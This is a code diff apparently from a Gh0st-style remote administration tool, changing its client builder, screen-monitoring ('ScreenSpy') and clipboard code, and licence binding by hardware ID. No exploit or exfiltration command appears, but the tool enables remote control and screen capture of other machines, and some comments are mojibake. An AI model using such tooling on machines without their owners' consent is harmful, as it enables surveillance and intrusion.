CDialogBase* m_pActiveSession = nullptr; // 当前活动会话窗口指针 / NULL 表示无
|
||||
afx_msg LRESULT OnSessionActivatedMsg(WPARAM wParam, LPARAM lParam);
|
||||
|
||||
@@ -423,12 +423,12 @@ BOOL CBuildDlg::OnInitDialog()
|
||||
m_OtherItem.ShowWindow(SW_HIDE);
|
||||
|
||||
m_runasAdmin = FALSE;
|
||||
m_MainMenu.LoadMenuA(IDR_MENU_BUILD);
|
||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(0);
|
||||
m_MainMenu.LoadMenuA(IDR_MENU_BUILD);
|
||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(0);
|
||||
SubMenu->CheckMenuItem(ID_MENU_ENCRYPT_IP, MF_CHECKED);
|
||||
SubMenu->CheckMenuItem(ID_CLIENT_RUNAS_ADMIN, MF_UNCHECKED);
|
||||
::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); // 为窗口设置菜单
|
||||
::DrawMenuBar(this->GetSafeHwnd()); // 显示菜单
|
||||
::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); // 为窗口设置菜单
|
||||
::DrawMenuBar(this->GetSafeHwnd()); // 显示菜单
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// 异常: OCX 属性页应返回 FALSE
|
||||
@@ -502,14 +502,14 @@ void CBuildDlg::OnHelpFindden()
|
||||
void CBuildDlg::OnMenuEncryptIp()
|
||||
{
|
||||
m_strEncryptIP = m_strEncryptIP == "是" ? "否" : "是";
|
||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(0);
|
||||
SubMenu->CheckMenuItem(ID_MENU_ENCRYPT_IP, m_strEncryptIP == "是" ? MF_CHECKED : MF_UNCHECKED);
|
||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(0);
|
||||
SubMenu->CheckMenuItem(ID_MENU_ENCRYPT_IP, m_strEncryptIP == "是" ? MF_CHECKED : MF_UNCHECKED);
|
||||
}
|
||||
|
||||
|
||||
void CBuildDlg::OnClientRunasAdmin()
|
||||
{
|
||||
m_runasAdmin = !m_runasAdmin;
|
||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(0);
|
||||
SubMenu->CheckMenuItem(ID_CLIENT_RUNAS_ADMIN, m_runasAdmin ? MF_CHECKED : MF_UNCHECKED);
|
||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(0);
|
||||
SubMenu->CheckMenuItem(ID_CLIENT_RUNAS_ADMIN, m_runasAdmin ? MF_CHECKED : MF_UNCHECKED);
|
||||
}
|
||||
|
||||
@@ -89,6 +89,8 @@ CPasswordDlg::CPasswordDlg(CWnd* pParent /*=nullptr*/)
|
||||
: CDialogEx(IDD_DIALOG_PASSWORD, pParent)
|
||||
, m_sDeviceID(_T(""))
|
||||
, m_sPassword(_T(""))
|
||||
, m_sPasscodeHmac(THIS_CFG.GetStr("settings", "PwdHmac", "").c_str())
|
||||
, m_nBindType(THIS_CFG.GetInt("settings", "BindType", 0))
|
||||
{
|
||||
m_hIcon = nullptr;
|
||||
}
|
||||
@@ -106,10 +108,15 @@ void CPasswordDlg::DoDataExchange(CDataExchange* pDX)
|
||||
DDV_MaxChars(pDX, m_sDeviceID, 19);
|
||||
DDX_Text(pDX, IDC_EDIT_DEVICEPWD, m_sPassword);
|
||||
DDV_MaxChars(pDX, m_sPassword, 42);
|
||||
DDX_Control(pDX, IDC_COMBO_BIND, m_ComboBinding);
|
||||
DDX_Control(pDX, IDC_EDIT_PASSCODE_HMAC, m_EditPasscodeHmac);
|
||||
DDX_Text(pDX, IDC_EDIT_PASSCODE_HMAC, m_sPasscodeHmac);
|
||||
DDX_CBIndex(pDX, IDC_COMBO_BIND, m_nBindType);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CPasswordDlg, CDialogEx)
|
||||
ON_CBN_SELCHANGE(IDC_COMBO_BIND, &CPasswordDlg::OnCbnSelchangeComboBind)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
@@ -121,10 +128,32 @@ BOOL CPasswordDlg::OnInitDialog()
|
||||
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_PASSWORD));
|
||||
SetIcon(m_hIcon, FALSE);
|
||||
|
||||
m_ComboBinding.InsertString(0, "计算机硬件信息");
|
||||
m_ComboBinding.InsertString(1, "主控IP或域名信息");
|
||||
m_ComboBinding.SetCurSel(m_nBindType);
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// 异常: OCX 属性页应返回 FALSE
|
||||
}
|
||||
|
||||
void CPasswordDlg::OnCbnSelchangeComboBind()
|
||||
{
|
||||
m_nBindType = m_ComboBinding.GetCurSel();
|
||||
std::string hardwareID = CMy2015RemoteDlg::GetHardwareID(m_nBindType);
|
||||
m_sDeviceID = getFixedLengthID(hashSHA256(hardwareID)).c_str();
|
||||
m_EditDeviceID.SetWindowTextA(m_sDeviceID);
|
||||
}
|
||||
|
||||
void CPasswordDlg::OnOK()
|
||||
{
|
||||
UpdateData(TRUE);
|
||||
if (!m_sDeviceID.IsEmpty()) {
|
||||
THIS_CFG.SetInt("settings", "BindType", m_nBindType);
|
||||
THIS_CFG.SetStr("settings", "PwdHmac", m_sPasscodeHmac.GetString());
|
||||
}
|
||||
|
||||
CDialogEx::OnOK();
|
||||
}
|
||||
|
||||
// CPasswordDlg 消息处理程序
|
||||
|
||||
@@ -197,7 +226,7 @@ void CPwdGenDlg::OnBnClickedButtonGenkey()
|
||||
getFixedLengthID(finalKey);
|
||||
m_sPassword = fixedKey.c_str();
|
||||
m_EditPassword.SetWindowTextA(fixedKey.c_str());
|
||||
std::string hardwareID = getHardwareID(getHwFallback);
|
||||
std::string hardwareID = CMy2015RemoteDlg::GetHardwareID();
|
||||
std::string hashedID = hashSHA256(hardwareID);
|
||||
std::string deviceID = getFixedLengthID(hashedID);
|
||||
std::string hmac = genHMAC(pwdHash, m_sUserPwd.GetString());
|
||||
|
||||
@@ -41,6 +41,12 @@ public:
|
||||
CString m_sDeviceID;
|
||||
CString m_sPassword;
|
||||
virtual BOOL OnInitDialog();
|
||||
CComboBox m_ComboBinding;
|
||||
afx_msg void OnCbnSelchangeComboBind();
|
||||
CEdit m_EditPasscodeHmac;
|
||||
CString m_sPasscodeHmac;
|
||||
int m_nBindType;
|
||||
virtual void OnOK();
|
||||
};
|
||||
|
||||
|
||||
|
||||
@@ -23,11 +23,11 @@ const uint64_t NTP_EPOCH_OFFSET = 2208988800ULL;
|
||||
class DateVerify
|
||||
{
|
||||
private:
|
||||
bool m_hasVerified = false;
|
||||
bool m_lastVerifyResult = true;
|
||||
time_t m_lastVerifyLocalTime = 0;
|
||||
time_t m_lastNetworkTime = 0;
|
||||
static const int VERIFY_INTERVAL = 6 * 3600; // 6小时
|
||||
bool m_hasVerified = false;
|
||||
bool m_lastVerifyResult = true;
|
||||
time_t m_lastVerifyLocalTime = 0;
|
||||
time_t m_lastNetworkTime = 0;
|
||||
static const int VERIFY_INTERVAL = 6 * 3600; // 6小时
|
||||
|
||||
// 初始化Winsock
|
||||
bool initWinsock()
|
||||
@@ -153,47 +153,47 @@ private:
|
||||
}
|
||||
|
||||
// 验证本地日期是否被修改
|
||||
bool isLocalDateModified()
|
||||
{
|
||||
time_t currentLocalTime = time(nullptr);
|
||||
bool isLocalDateModified()
|
||||
{
|
||||
time_t currentLocalTime = time(nullptr);
|
||||
|
||||
// 检查是否可以使用缓存
|
||||
if (m_hasVerified) {
|
||||
time_t localElapsed = currentLocalTime - m_lastVerifyLocalTime;
|
||||
// 检查是否可以使用缓存
|
||||
if (m_hasVerified) {
|
||||
time_t localElapsed = currentLocalTime - m_lastVerifyLocalTime;
|
||||
|
||||
// 本地时间在合理范围内前进,使用缓存推算
|
||||
if (localElapsed >= 0 && localElapsed < VERIFY_INTERVAL) {
|
||||
time_t estimatedNetworkTime = m_lastNetworkTime + localElapsed;
|
||||
double diffDays = difftime(estimatedNetworkTime, currentLocalTime) / 86400.0;
|
||||
if (fabs(diffDays) <= 1.0) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
// 本地时间在合理范围内前进,使用缓存推算
|
||||
if (localElapsed >= 0 && localElapsed < VERIFY_INTERVAL) {
|
||||
time_t estimatedNetworkTime = m_lastNetworkTime + localElapsed;
|
||||
double diffDays = difftime(estimatedNetworkTime, currentLocalTime) / 86400.0;
|
||||
if (fabs(diffDays) <= 1.0) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 执行网络验证
|
||||
time_t networkTime = getNetworkTimeInChina();
|
||||
if (networkTime == 0) {
|
||||
// 网络不可用:如果之前验证通过且本地时间没异常,暂时信任
|
||||
if (m_hasVerified && !m_lastVerifyResult) {
|
||||
time_t localElapsed = currentLocalTime - m_lastVerifyLocalTime;
|
||||
if (localElapsed >= -300 && localElapsed < 24 * 3600) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
// 执行网络验证
|
||||
time_t networkTime = getNetworkTimeInChina();
|
||||
if (networkTime == 0) {
|
||||
// 网络不可用:如果之前验证通过且本地时间没异常,暂时信任
|
||||
if (m_hasVerified && !m_lastVerifyResult) {
|
||||
time_t localElapsed = currentLocalTime - m_lastVerifyLocalTime;
|
||||
if (localElapsed >= -300 && localElapsed < 24 * 3600) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
// 更新缓存
|
||||
m_hasVerified = true;
|
||||
m_lastVerifyLocalTime = currentLocalTime;
|
||||
m_lastNetworkTime = networkTime;
|
||||
// 更新缓存
|
||||
m_hasVerified = true;
|
||||
m_lastVerifyLocalTime = currentLocalTime;
|
||||
m_lastNetworkTime = networkTime;
|
||||
|
||||
double diffDays = difftime(networkTime, currentLocalTime) / 86400.0;
|
||||
m_lastVerifyResult = fabs(diffDays) > 1.0;
|
||||
double diffDays = difftime(networkTime, currentLocalTime) / 86400.0;
|
||||
m_lastVerifyResult = fabs(diffDays) > 1.0;
|
||||
|
||||
return m_lastVerifyResult;
|
||||
}
|
||||
return m_lastVerifyResult;
|
||||
}
|
||||
|
||||
public:
|
||||
|
||||
|
||||
@@ -130,7 +130,8 @@ public:
|
||||
m_IPAddress = pContext->GetPeerName().c_str();
|
||||
m_hIcon = nIcon > 0 ? LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(nIcon)) : NULL;
|
||||
}
|
||||
int UpdateContext(CONTEXT_OBJECT* pContext) {
|
||||
int UpdateContext(CONTEXT_OBJECT* pContext)
|
||||
{
|
||||
m_ContextObject = pContext;
|
||||
m_iocpServer = pContext->GetServer();
|
||||
m_ContextObject->hDlg = this;
|
||||
@@ -139,7 +140,8 @@ public:
|
||||
virtual ~CDialogBase() {}
|
||||
|
||||
public:
|
||||
virtual BOOL ReceiveCommonMsg() {
|
||||
virtual BOOL ReceiveCommonMsg()
|
||||
{
|
||||
switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) {
|
||||
case TOKEN_CLIENT_MSG: {
|
||||
ClientMsg* msg = (ClientMsg*)m_ContextObject->InDeCompressedBuffer.GetBuffer(0);
|
||||
@@ -175,7 +177,8 @@ public:
|
||||
{
|
||||
delete this;
|
||||
}
|
||||
virtual BOOL ShouldReconnect() {
|
||||
virtual BOOL ShouldReconnect()
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
// ȡ<><C8A1> SOCKET <20><>ȡ<EFBFBD><C8A1><EFBFBD>ú<EFBFBD><C3BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD>ε<EFBFBD><CEB5><EFBFBD>
|
||||
@@ -184,13 +187,15 @@ public:
|
||||
m_bIsClosed = TRUE;
|
||||
|
||||
m_ContextObject->CancelIO();
|
||||
}
|
||||
BOOL IsClosed() const {
|
||||
}
|
||||
BOOL IsClosed() const
|
||||
{
|
||||
return m_bIsClosed;
|
||||
}
|
||||
BOOL SayByeBye() {
|
||||
BYTE bToken = COMMAND_BYE;
|
||||
return m_ContextObject->Send2Client(&bToken, 1);
|
||||
BOOL SayByeBye()
|
||||
{
|
||||
BYTE bToken = COMMAND_BYE;
|
||||
return m_ContextObject->Send2Client(&bToken, 1);
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
@@ -44,32 +44,13 @@ IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog)
|
||||
#pragma comment(lib, "PrivateDesktop_Libx64.lib")
|
||||
#endif
|
||||
#else
|
||||
int InitFileUpload(const std::string hmac, int chunkSizeKb, int sendDurationMs)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
int UninitFileUpload()
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
std::vector<std::string> GetClipboardFiles(int &result)
|
||||
{
|
||||
return{};
|
||||
}
|
||||
bool GetCurrentFolderPath(std::string& outDir)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
int FileBatchTransferWorker(const std::vector<std::string>& files, const std::string& targetDir,
|
||||
void* user, OnTransform f, OnFinish finish, const std::string& hash, const std::string& hmac)
|
||||
{
|
||||
finish(user);
|
||||
return 0;
|
||||
}
|
||||
int RecvFileChunk(char* buf, size_t len, void* user, OnFinish f, const std::string& hash, const std::string& hmac)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "FileUpload_Libd.lib")
|
||||
#pragma comment(lib, "PrivateDesktop_Libd.lib")
|
||||
#else
|
||||
#pragma comment(lib, "FileUpload_Lib.lib")
|
||||
#pragma comment(lib, "PrivateDesktop_Lib.lib")
|
||||
#endif
|
||||
#endif
|
||||
|
||||
extern "C" void* x265_api_get_192()
|
||||
@@ -805,34 +786,33 @@ BOOL CScreenSpyDlg::SaveSnapshot(void)
|
||||
|
||||
VOID CScreenSpyDlg::UpdateServerClipboard(char* szBuffer, ULONG ulLength)
|
||||
{
|
||||
if (!::OpenClipboard(NULL))
|
||||
return;
|
||||
if (!::OpenClipboard(NULL))
|
||||
return;
|
||||
|
||||
::EmptyClipboard();
|
||||
::EmptyClipboard();
|
||||
|
||||
// UTF-8 转 Unicode
|
||||
int wlen = MultiByteToWideChar(CP_UTF8, 0, szBuffer, ulLength, nullptr, 0);
|
||||
if (wlen > 0) {
|
||||
// 分配 Unicode 缓冲区(+1 确保 null 结尾)
|
||||
HGLOBAL hGlobal = GlobalAlloc(GMEM_MOVEABLE, (wlen + 1) * sizeof(wchar_t));
|
||||
if (hGlobal != NULL) {
|
||||
wchar_t* pWideStr = (wchar_t*)GlobalLock(hGlobal);
|
||||
if (pWideStr) {
|
||||
MultiByteToWideChar(CP_UTF8, 0, szBuffer, ulLength, pWideStr, wlen);
|
||||
pWideStr[wlen] = L'\0'; // 确保 null 结尾
|
||||
GlobalUnlock(hGlobal);
|
||||
// UTF-8 转 Unicode
|
||||
int wlen = MultiByteToWideChar(CP_UTF8, 0, szBuffer, ulLength, nullptr, 0);
|
||||
if (wlen > 0) {
|
||||
// 分配 Unicode 缓冲区(+1 确保 null 结尾)
|
||||
HGLOBAL hGlobal = GlobalAlloc(GMEM_MOVEABLE, (wlen + 1) * sizeof(wchar_t));
|
||||
if (hGlobal != NULL) {
|
||||
wchar_t* pWideStr = (wchar_t*)GlobalLock(hGlobal);
|
||||
if (pWideStr) {
|
||||
MultiByteToWideChar(CP_UTF8, 0, szBuffer, ulLength, pWideStr, wlen);
|
||||
pWideStr[wlen] = L'\0'; // 确保 null 结尾
|
||||
GlobalUnlock(hGlobal);
|
||||
|
||||
if (SetClipboardData(CF_UNICODETEXT, hGlobal) == NULL) {
|
||||
GlobalFree(hGlobal);
|
||||
}
|
||||
}
|
||||
else {
|
||||
GlobalFree(hGlobal);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (SetClipboardData(CF_UNICODETEXT, hGlobal) == NULL) {
|
||||
GlobalFree(hGlobal);
|
||||
}
|
||||
} else {
|
||||
GlobalFree(hGlobal);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
CloseClipboard();
|
||||
CloseClipboard();
|
||||
}
|
||||
|
||||
VOID CScreenSpyDlg::SendServerClipboard(void)
|
||||
|
||||
@@ -46,9 +46,10 @@ class CScreenSpyDlg : public DialogBase
|
||||
public:
|
||||
CScreenSpyDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL);
|
||||
virtual ~CScreenSpyDlg();
|
||||
virtual BOOL ShouldReconnect() {
|
||||
return TRUE;
|
||||
}
|
||||
virtual BOOL ShouldReconnect()
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
VOID SendNext(void);
|
||||
VOID OnReceiveComplete();
|
||||
|
||||
@@ -484,7 +484,8 @@ public:
|
||||
server = svr;
|
||||
OnlineTime = time(0);
|
||||
}
|
||||
uint64_t GetAliveTime()const {
|
||||
uint64_t GetAliveTime()const
|
||||
{
|
||||
return time(0) - OnlineTime;
|
||||
}
|
||||
Server* GetServer()
|
||||
@@ -520,7 +521,8 @@ public:
|
||||
{
|
||||
return PeerName;
|
||||
}
|
||||
void SetPeerName(const std::string& peer) {
|
||||
void SetPeerName(const std::string& peer)
|
||||
{
|
||||
PeerName = peer;
|
||||
}
|
||||
virtual int GetPort() const
|
||||
|
||||
@@ -462,7 +462,7 @@ BOOL ServerService_Uninstall(void)
|
||||
}
|
||||
}
|
||||
|
||||
BOOL r = FALSE;
|
||||
BOOL r = FALSE;
|
||||
// 删除服务
|
||||
Mprintf("Deleting service...\n");
|
||||
if (DeleteService(schService)) {
|
||||
|
||||
@@ -85,10 +85,11 @@ std::string execCommand(const char* cmd)
|
||||
result.erase(remove(result.begin(), result.end(), '\r'), result.end());
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
return result;
|
||||
return result.empty() ? "ERROR" : result;
|
||||
}
|
||||
|
||||
std::string getHardwareID_PS() {
|
||||
std::string getHardwareID_PS()
|
||||
{
|
||||
// Get-WmiObject <20><> PowerShell 2.0+ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (>=Win7)
|
||||
const char* psScript =
|
||||
"(Get-WmiObject Win32_Processor).ProcessorId + '|' + "
|
||||
@@ -107,20 +108,23 @@ std::string getHardwareID_PS() {
|
||||
}
|
||||
|
||||
// <20><>ȡӲ<C8A1><D3B2> ID<49><44>CPU + <20><><EFBFBD><EFBFBD> + Ӳ<>̣<EFBFBD>
|
||||
std::string getHardwareID(fallback fb)
|
||||
std::string getHardwareID()
|
||||
{
|
||||
// <20><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9> PowerShell <20><EFBFBD><EFBFBD><EFBFBD>
|
||||
std::string psID = getHardwareID_PS();
|
||||
if (!psID.empty()) {
|
||||
return psID;
|
||||
}
|
||||
// wmic<69><63><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD>ܱ<EFBFBD><DCB1>Ƴ<EFBFBD><EFBFBD><EFBFBD>
|
||||
std::string cpuID = execCommand("wmic cpu get processorid");
|
||||
std::string boardID = execCommand("wmic baseboard get serialnumber");
|
||||
std::string diskID = execCommand("wmic diskdrive get serialnumber");
|
||||
|
||||
std::string combinedID = cpuID + "|" + boardID + "|" + diskID;
|
||||
if (fb && combinedID.find("ERROR") != std::string::npos) {
|
||||
return fb();
|
||||
if (combinedID.find("ERROR") != std::string::npos) {
|
||||
// ʧ<><CAA7><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9> PowerShell <20><><EFBFBD><EFBFBD>
|
||||
std::string psID = getHardwareID_PS();
|
||||
if (!psID.empty()) {
|
||||
Mprintf("Get hardware info with PowerShell: %s\n", psID.c_str());
|
||||
return psID;
|
||||
}
|
||||
Mprintf("Get hardware info FAILED!!! \n");
|
||||
Sleep(1234);
|
||||
TerminateProcess(GetCurrentProcess(), 0);
|
||||
}
|
||||
return combinedID;
|
||||
}
|
||||
@@ -170,11 +174,10 @@ std::string deriveKey(const std::string& password, const std::string& hardwareID
|
||||
return hashSHA256(password + " + " + hardwareID);
|
||||
}
|
||||
|
||||
std::string getDeviceID(fallback fb)
|
||||
std::string getDeviceID(const std::string &hardwareId)
|
||||
{
|
||||
static std::string hardwareID = getHardwareID(fb);
|
||||
static std::string hashedID = hashSHA256(hardwareID);
|
||||
static std::string deviceID = getFixedLengthID(hashedID);
|
||||
std::string hashedID = hashSHA256(hardwareId);
|
||||
std::string deviceID = getFixedLengthID(hashedID);
|
||||
return deviceID;
|
||||
}
|
||||
|
||||
|
||||
@@ -2,11 +2,9 @@
|
||||
|
||||
#include <string>
|
||||
|
||||
typedef std::string(*fallback)();
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD><EFBFBD>˹<EFBFBD><CBB9>ܽ<EFBFBD><DCBD>м<EFBFBD><D0BC><EFBFBD>
|
||||
|
||||
std::string getHardwareID(fallback fb = NULL);
|
||||
std::string getHardwareID();
|
||||
|
||||
std::string hashSHA256(const std::string& data);
|
||||
|
||||
@@ -16,7 +14,7 @@ std::string getFixedLengthID(const std::string& hash);
|
||||
|
||||
std::string deriveKey(const std::string& password, const std::string& hardwareID);
|
||||
|
||||
std::string getDeviceID(fallback fb = NULL);
|
||||
std::string getDeviceID(const std::string &hardwareId);
|
||||
|
||||
// Use HMAC to sign a message.
|
||||
uint64_t SignMessage(const std::string& pwd, BYTE* msg, int len);
|
||||
|
||||
Binary file not shown.
Reference in New Issue
Block a user